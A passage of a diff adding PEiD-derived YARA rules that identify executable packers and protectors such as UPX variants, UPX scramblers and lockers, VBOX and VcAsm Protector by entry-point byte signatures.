+rule PEiD_02428_UPX_Protector_v1_0x__2__
+{
+    meta:
+        description = "[UPX Protector v1.0x (2)]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a
+}
+
+rule PEiD_02429_UPX_Protector_v1_0x_
+{
+    meta:
+        description = "[UPX Protector v1.0x]"
+        ep_only = "true"
+    strings:
+        $a = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02430_UPX_v0_51_
+{
+    meta:
+        description = "[UPX v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02431_UPX_v0_60___v0_61_
+{
+    meta:
+        description = "[UPX v0.60 - v0.61]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02432_UPX_v0_62__DLL_
+{
+    meta:
+        description = "[UPX v0.62 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02433_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02434_UPX_v0_62_
+{
+    meta:
+        description = "[UPX v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02435_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02436_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02437_UPX_v0_70_
+{
+    meta:
+        description = "[UPX v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02438_UPX_v0_71___v0_72_
+{
+    meta:
+        description = "[UPX v0.71 - v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02439_UPX_v0_71__DLL_
+{
+    meta:
+        description = "[UPX v0.71 [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02440_UPX_v0_72_
+{
+    meta:
+        description = "[UPX v0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02441_UPX_v0_76_1__dos_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [dos exe]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02442_UPX_v0_76_1__pe_exe_
+{
+    meta:
+        description = "[UPX v0.76.1 [pe exe]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02443_UPX_v0_81___v0_84_Modified_
+{
+    meta:
+        description = "[UPX v0.81 - v0.84 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02444_UPX_v0_89_6___v1_02___v1_05___v1_22_DLL_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02445_UPX_v0_89_6___v1_02___v1_05___v1_22_Modified_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02446_UPX_v0_89_6___v1_02___v1_05___v1_22_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 - v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02447_UPX_v0_89_6___v1_02___v1_05__v1_22__Delphi__stub_
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02448_UPX_v0_89_6___v1_02___v1_05__v1_24____Markus___Laszlo__overlay__
+{
+    meta:
+        description = "[UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02449_UPX_v1_03___v1_04_Modified_
+{
+    meta:
+        description = "[UPX v1.03 - v1.04 Modified]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02450_Upx_v1_2____Marcus___Lazlo_
+{
+    meta:
+        description = "[Upx v1.2 -> Marcus & Lazlo]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02451_UPX_V1_94____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V1.94 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02452_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+    condition:
+        $a
+}
+
+rule PEiD_02453_UPX_v2_0____Markus__Laszlo___Reiser__h__
+{
+    meta:
+        description = "[UPX v2.0 -> Markus, Laszlo & Reiser (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02454_UPX_V2_00_V2_90____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX V2.00-V2.90 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02455_UPX_v3_0__DLL_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (DLL_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 0B 00 00 60 BE 00 ?? ?? ?? 8D BE 00 ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02456_UPX_v3_0__EXE_LZMA_____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00 57 83 C3 04 53 68 ?? ?? ?? 00 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02457_UPX_HiT_0_0_1____sibaway7_yahoo_com_
+{
+    meta:
+        description = "[UPX$HiT 0.0.1 -> sibaway7@yahoo.com]"
+        ep_only = "false"
+    strings:
+        $a = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02458_UPX_HiT_v0_0_1_
+{
+    meta:
+        description = "[UPX$HiT v0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+    condition:
+        $a
+}
+
+rule PEiD_02459_Upx_Lock_1_0___1_2____CyberDoom___Team_X___BoB___BobSoft_
+{
+    meta:
+        description = "[Upx-Lock 1.0 - 1.2 -> CyberDoom / Team-X & BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02460_UPX_SCRAMBLER_3_06_____OnT_oL_
+{
+    meta:
+        description = "[UPX-SCRAMBLER 3.06 -> ©OnT®oL]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02461_UPX_Scrambler_by_Guru_eXe_
+{
+    meta:
+        description = "[UPX-Scrambler by Guru.eXe]"
+        ep_only = "false"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? ?? 75 07 E9 ?? FE FF FF 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02462_UPX_Scrambler_RC_v1_x_
+{
+    meta:
+        description = "[UPX-Scrambler RC v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02463_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02464_UPX_Shit_0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit 0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02465_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02466_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02467_UPX_Shit_v0_1____500mhz_
+{
+    meta:
+        description = "[UPX-Shit v0.1 -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02468_UPXcrypter____archphase_NWC_
+{
+    meta:
+        description = "[UPXcrypter -> archphase/NWC]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02469_UPXFreak_0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak 0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02470_UPXFreak_v0_1__Borland_Delphi_____HMX0101_
+{
+    meta:
+        description = "[UPXFreak v0.1 (Borland Delphi) -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02471_UPXFreak_V0_1____HMX0101_
+{
+    meta:
+        description = "[UPXFreak V0.1 -> HMX0101]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02472_UPXLock_v1_0____CyberDoom_
+{
+    meta:
+        description = "[UPXLock v1.0 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02473_UPXLock_v1_1____CyberDoom___Bob_
+{
+    meta:
+        description = "[UPXLock v1.1 -> CyberDoom & Bob]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? 00 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02474_UPXShit_0_06_
+{
+    meta:
+        description = "[UPXShit 0.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02475_USERNAME_v3_00_
+{
+    meta:
+        description = "[USERNAME v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02476_USSR_0_31___by_Spirit_
+{
+    meta:
+        description = "[USSR 0.31 - by Spirit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02477_USSR_V0_31____SpiritST___Sign_by_fly_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02478_USSR_V0_31____SpiritST_
+{
+    meta:
+        description = "[USSR V0.31 -> SpiritST]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02479_Utah_RLE_Graphics_format_
+{
+    meta:
+        description = "[Utah RLE Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 CC 00 00 00 00 ?? ?? ?? ?? 09 ?? 08 ?? 08}
+    condition:
+        $a
+}
+
+rule PEiD_02480_v_02Packer____tt_t_
+{
+    meta:
+        description = "[v.02Packer -> tt.t]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 36 FE FF FF C3 90 ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02481_VBOX_v4_2_MTE_
+{
+    meta:
+        description = "[VBOX v4.2 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02482_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4}
+    condition:
+        $a
+}
+
+rule PEiD_02483_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+    condition:
+        $a
+}
+
+rule PEiD_02484_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+    condition:
+        $a
+}
+
+rule PEiD_02485_VBOX_v4_3_MTE_
+{
+    meta:
+        description = "[VBOX v4.3 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02486_VcAsm_Protector____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02487_VcAsm_Protector_V1_0X____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector V1.0X -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02488_Vcasm_Protector_V1_X____vcasm_
+{
+    meta:
+        description = "[Vcasm Protector V1.X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02489_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02490_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02491_Vcasm_Protector_1_0a___1_0d____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0a - 1.0d -> vcasm]"
+        ep_only = "true"
+    strings:
